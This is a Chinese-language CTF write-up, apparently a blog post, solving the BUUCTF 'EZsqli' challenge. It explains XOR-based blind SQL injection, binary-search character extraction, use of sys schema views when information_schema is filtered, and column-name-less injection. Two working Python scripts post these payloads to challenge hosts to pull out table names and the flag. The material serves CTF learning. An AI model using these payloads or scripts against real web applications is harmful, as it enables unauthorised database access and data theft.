无列名盲注

前言

在做buuctf中的EZsqli时学到了新姿势,同时在看writeup自己实践的时候也遇到了几个问题,还请路过的师傅为小弟解答一下。

题目

进入题目之后是一张大大的懒🐶照片,下方有一个输入框可以提交,根据题目名称判断是SQL注入,输入11+1得到不同的结果,分别是Nu1LV&N,以此判断存在注入。

fuzz测试了一下过滤了如下几个关键字,也过滤了一些关键字组合如union select

根据以前学到的姿势使用异或运算符^,构造payload

1
id=1^payload=1

当payload为真的时候1^payload为假,表达式最终结果为真,即payload的真假等于表达式最后的真假。

首先爆数据库名,基本payload如下

1
id=1^(ascii(mid(database(),%d,1))>%d)=1

mid函数使用方法可以查询官方说明,payload含义就是逐字猜测数据库名。ascii码表中常见字符位于32到127之间,理论上来说尝试96次就必定能命中一个字符。到这里我自己写了个脚本爆破,但是看了师傅的writeup学到了新姿势,使用二分法远远快于我自己的笨方法。

新姿势1

假如现在有两个人玩游戏,小A心中想了一个1到100的数让小C猜(别问我为什么不是小B,单纯因为难听),小A没次会告诉小C他猜的大了还是笑了,那小C怎么猜最快呢?小C首先猜50,如果小A说数字大了,那么范围就缩小在1到50之间,依次类推。同样在SQL注入猜字符中也可以使用这样的方法。下面贴上我照猫画虎写的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://d84ad200-a35c-44ee-b8d7-6c34301e3c90.node3.buuoj.cn/index.php"

i = 1
result = ""
while True:
low = 32
high = 127
while(low < high):
mid = (low + high) >> 1
print("low:",low," high:",high)
#payload = "1^(ascii(mid(database(),%d,1))>%d)" % (i,mid)
#爆库名 give_grandpa_pa_pa_pa
#payload = "id=1^(ascii(mid((select group_concat(table_name)from(sys.x$schema_flattened_keys)),%d,1))>%d)=1" % (i,mid)
#爆表名 news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
data = {
"id" : payload
}
r = requests.post(url,data = data)
if("Error Occured When Fetch Result." in r.text):
low = mid+1
else:
high = mid
if(low != 32):
print(chr(low))
result += chr(low)
else:
break
i += 1

print(result)

其中还有一个小技巧(也是学来的)就是怎么运算中位数,使用位移运算符>>会比写表达式快一些。

另一个小技巧是当information_schema被屏蔽掉的时候的绕过方法。

1
2
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
select group_concat(table_name) from sys.x$schema_flattened_keys

新姿势2

本题中过滤掉的关键字导致我们无法获取列名,需要用到无列名注入。核心payload如下

1
id="1^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))".format(tmp)

SQL中字符串比大小是逐位比较,和字符串长短无关

abc < b

abd > abc

通过逐位比较列中内容和猜测字符串的大小关系来获取flag,同样贴上我照猫画虎的脚本和结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://2b82d44e-a08f-4300-adbe-ba372e9dc6a3.node3.buuoj.cn/index.php"
tmp = ""
flag = ""
for i in range(50):
print("flag: ",flag)
for j in range(32,127):
tmp = str2hex(flag + chr(j))
# tmp = flag + chr(j)
payload = "1^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))".format(tmp)
data = {
"id" : payload
}
r = requests.post(url,data=data)
if("Nu1L" not in r.text):
flag += chr(j-1)
break

脚本中有两个地方我没有太明白,都集中在payload中

1
payload = "1^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))".format(tmp)
  • 为什么猜测的字符串必须是16进制?Mysql中遇到16进制自动转化为字符串是没错,但是如果将payload改成如下这样就得不到正确结果,这样不能表示字符串吗?还请各位师傅为小弟解答一下。

tmp = str2hex(flag + chr(j))
payload = “1^((select 1,’{}’)>(select * from(f1ag_1s_h3r3_hhhhh)))”.format(tmp)

  • 这里我理解的是经过实验得出f1ag_1s_h3r3_hhhhh表中有两列,并且第二列中的内容为flag值。核心思想是不断构造字符串语第二列中的值比大小的到第二列中的值。那么在我的尝试中select 1,()中将1换成其他的字符会出错,这是为什么呢?我理解1的意义仅仅是占位,请师傅帮小弟解答一下。

PS:BUUCTF的flag提交要求小写,提交的时候真是怀疑人生